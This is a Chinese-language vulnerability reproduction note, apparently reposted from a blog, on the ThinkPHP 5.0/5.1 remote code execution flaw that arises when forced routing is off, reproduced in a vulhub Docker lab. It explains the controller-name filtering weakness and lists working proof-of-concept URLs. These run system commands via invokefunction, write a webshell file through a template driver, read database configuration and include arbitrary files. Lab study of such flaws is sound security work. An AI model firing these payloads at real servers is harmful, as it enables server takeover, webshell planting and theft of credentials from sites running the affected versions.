ThinkPHP 5.0.x 未开启强制路由导致的RCE
影响版本:
ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30
环境:
vulhub-master/thinkphp/5-rce
启动docker环境之后访问:
这个的版本是ThinkPHP 5.0.20版本:
http://ip:8080/
POC:
http://192.168.17.134:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
分析
5.0版本跟5.1版本 有些不同。
首先,默认情况下安装的 ThinkPHP 没有开启强制路由选项,而且默认开启路由兼容模式。
由于没有开启强制路由,说明我们可以使用路由兼容模式 s 参数,而框架对控制器名没有进行足够的检测,说明可能可以调用任意的控制器。
1、 有一个判断,当控制器名中包含了反斜杠,就会直接返回。
2、返回带命名空间的完整类名
3、类名都是带有完整的命名空间的,而命名空间恰好就是使用反斜杠来划分
结论就是:
控制器过滤不严,结合直接返回类名的代码操作,导致可以用命名空间的方式来调用任意类的任意方法。
形如:s=/index/命令空间\类名/方法
http://ip/index.php?s=/index/namespace\class/method
5.0跟5.1的文件不一样,所以payload不一样,而Windows中严格区分大小写,加载不到相应的类,比linux中能加载到的类文件要少了不少。
5.0跟5.1共有的且兼容Windows与linux的类文件:
think\Route think\Loader think\Error think\App think\Env think\Config think\Hook think\Lang think\Request think\Log
5.1POC:
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php phpinfo();?> ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
5.0 POC:
?s=index/think\config/get&name=database.username # 获取配置信息 ?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件 ?s=index/\think\Config/load&file=../../test.php # 包含任意.php文件 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
复现参考:https://xz.aliyun.com/t/3570
转载:https://blog.csdn.net/weixin_42633229/article/details/117080616